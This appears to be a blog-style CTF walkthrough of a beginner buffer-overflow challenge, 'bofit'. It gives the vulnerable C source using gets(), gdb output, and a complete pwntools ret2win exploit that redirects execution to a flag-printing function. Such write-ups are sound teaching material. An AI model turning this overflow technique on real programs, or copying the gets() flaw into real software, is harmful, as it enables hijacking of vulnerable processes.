root💀haxor:~#

Try Harder!.

View on GitHub

Binary Exploitation

Source: DAWG_21

Basic File Checks

┌──(venv)─(mark㉿haxor)-[~/…/Pentest/BOF/03-begineer_bof/bofit]
└─$ file bofit
bofit: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=599c2754819e660a71375162cc1cefb212ab8f16, for GNU/Linux 3.2.0, not stripped
                                                                                                        
┌──(venv)─(mark㉿haxor)-[~/…/Pentest/BOF/03-begineer_bof/bofit]
└─$ checksec bofit
[!] Could not populate PLT: invalid syntax (unicorn.py, line 110)
[*] '/home/mark/Documents/Pentest/BOF/03-begineer_bof/bofit/bofit'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

We’re working with a x64 binary and sweeeet no protection is enabled.

But sadly no form of shellcode will be done 😞

Source code is given lets have a look at it

#include <stdio.h>
#include <stdbool.h>
#include <stdlib.h>
#include <time.h>
#include <string.h>
#include <unistd.h>

void win_game(){
	char buf[100];
	FILE* fptr = fopen("flag.txt", "r");
	fgets(buf, 100, fptr);
	printf("%s", buf);
}

int play_game(){
	char c;
	char input[20];
	int choice;
	bool correct = true;
	int score = 0;
	srand(time(0));
	while(correct){
		choice = rand() % 4;
		switch(choice){
			case 0:
				printf("BOF it!\n");
				c = getchar();
				if(c != 'B') correct = false;
				while((c = getchar()) != '\n' && c != EOF);
				break;

			case 1:
				printf("Pull it!\n");
				c = getchar();
				if(c != 'P') correct = false;
				while((c = getchar()) != '\n' && c != EOF);
				break;

			case 2:
				printf("Twist it!\n");
				c = getchar();
				if(c != 'T') correct = false;
				while((c = getchar()) != '\n' && c != EOF);
				break;

			case 3:
				printf("Shout it!\n");
				gets(input);
				if(strlen(input) < 10) correct = false;
				break;
		}
		score++;
	}
	return score;
}

void welcome(){
	char input;
	printf("Welcome to BOF it! The game featuring 4 hilarious commands to keep players on their toes\n");
	printf("You'll have a second to respond to a series of commands\n");
	printf("BOF it: Reply with a capital \'B\'\n");
	printf("Pull it: Reply with a capital \'P\'\n");
	printf("Twist it: Reply with a capital \'T\'\n");
	printf("Shout it: Reply with a string of at least 10 characters\n");
	printf("BOF it to start!\n");
	input = getchar();
	while(input != 'B'){
		printf("BOF it to start!\n");
		input = getchar();
	}
	while((input = getchar()) != '\n' && input != EOF);
}

int main(){
	int score = 0;
	welcome();
	score = play_game();
	printf("Congrats! Final score: %d\n", score);
	return 0;
}

Its pretty much of a game

Here’s what the games does

 The game has four commands that the user must respond to within a second, and they are "BOF it!", "Pull it!", "Twist it!", and "Shout it!".
 The user must respond to each command according to the prompt, either by typing "B" for "BOF it!", "P" for "Pull it!", "T" for "Twist it!", or typing a string of at least 10 characters for "Shout it!".
 The game continues until the user makes a mistake in their response, at which point the final score is displayed, indicating the number of commands that were successfully completed.

So after all the shakara (pride) the code does here’s it vulnerability

 case 3:
				printf("Shout it!\n");
				gets(input);
				if(strlen(input) < 10) correct = false;
				break;

Using get is insecure here’s why:

 The function "gets()" is used to read the user's input, and it does not check the size of the input before storing it in the "input" buffer, which has a fixed size of 20 characters. This allows a user to write more data to the buffer than it can hold, potentially overwriting adjacent memory, which can lead to unexpected behavior and can be used to compromise the security of the program

So with this we know that this is a ret2win bof challenge as the win_game function is called in the main function

And what the win_game does is to open the content of the flag and print it out

void win_game(){
	char buf[100];
	FILE* fptr = fopen("flag.txt", "r");
	fgets(buf, 100, fptr);
	printf("%s", buf);
}

Since i know what the code does, here’s what i did:

I had to make the exploit script to eventually play the game and keep giving the expected value the programs needs till it reach the case where the vuln function lays

With that i can then make the rip (instruction pointer) call the win_game function

Here’s how i got the win_game function 0x0000000000401256

┌──(venv)─(mark㉿haxor)-[~/…/Pentest/BOF/03-begineer_bof/bofit]
└─$ gdb -q bofit        
GEF for linux ready, type `gef' to start, `gef config' to configure
90 commands loaded and 5 functions added for GDB 12.1 in 0.00ms using Python engine 3.11
Reading symbols from bofit...
(No debugging symbols found in bofit)
gef➤  info functions
All defined functions:

Non-debugging symbols:
0x0000000000401000  _init
0x00000000004010d0  puts@plt
0x00000000004010e0  strlen@plt
0x00000000004010f0  printf@plt
0x0000000000401100  srand@plt
0x0000000000401110  fgets@plt
0x0000000000401120  getchar@plt
0x0000000000401130  time@plt
0x0000000000401140  gets@plt
0x0000000000401150  fopen@plt
0x0000000000401160  rand@plt
0x0000000000401170  _start
0x00000000004011a0  _dl_relocate_static_pie
0x00000000004011b0  deregister_tm_clones
0x00000000004011e0  register_tm_clones
0x0000000000401220  __do_global_dtors_aux
0x0000000000401250  frame_dummy
0x0000000000401256  win_game
0x00000000004012a9  play_game
0x000000000040141a  welcome
0x00000000004014b6  main
0x0000000000401500  __libc_csu_init
0x0000000000401570  __libc_csu_fini
0x0000000000401578  _fini
gef➤

I used the cyclic method with gdb to determine my offset, then finished the exploit by adding the address of win_game in order to jump there when I deliberately trigger the return condition

Also it should be noted there appear to be no cases in which the function calls exit(), and it will return if you trigger the break on any of the cases by answering incorrectly

With this I used the cyclic method with gdb to determine my offset, then finished the exploit by adding the address of win_game in order to jump there when I deliberately trigger the return condition

Here’s the exploit

from pwn import *

target = process(b'./bofit')

#pid = gdb.attach(target, "\nb *play_game+368\ncontinue")

print(target.recvuntil(b'BOF it to start!'))

target.sendline(b'B')

while True:
        current = target.recvuntil(b'it!')
        print(current)
        if b'BOF' in current:
                target.sendline(b'B')
        elif b'Pull' in current:
                target.sendline(b'P')
        elif b'Twist' in current:
                target.sendline(b'T')
        else:
                #payload = cyclic(200)
                padding = b'a' * 56
                payload = padding
                payload += p64(0x00401256)
                target.sendline(payload)
                break
print(target.recvuntil(b'it!'))
target.sendline(b'end') #basically i just want the game to end so rip will call win_game xD
target.interactive()

On running it

┌──(venv)─(mark㉿haxor)-[~/…/Pentest/BOF/03-begineer_bof/bofit]
└─$ python2 exploit.py
[+] Starting local process './bofit': pid 97102
Welcome to BOF it! The game featuring 4 hilarious commands to keep players on their toes
You'll have a second to respond to a series of commands
BOF it: Reply with a capital 'B'
Pull it: Reply with a capital 'P'
Twist it: Reply with a capital 'T'
Shout it: Reply with a string of at least 10 characters
BOF it to start!

BOF it!

Twist it!

BOF it!

Twist it!

BOF it!

Shout it!

Pull it!
[*] Switching to interactive mode

FLAG{Y0U_KN0W_PWN}
[*] Got EOF while reading in interactive
$

And we’re done



Back To Home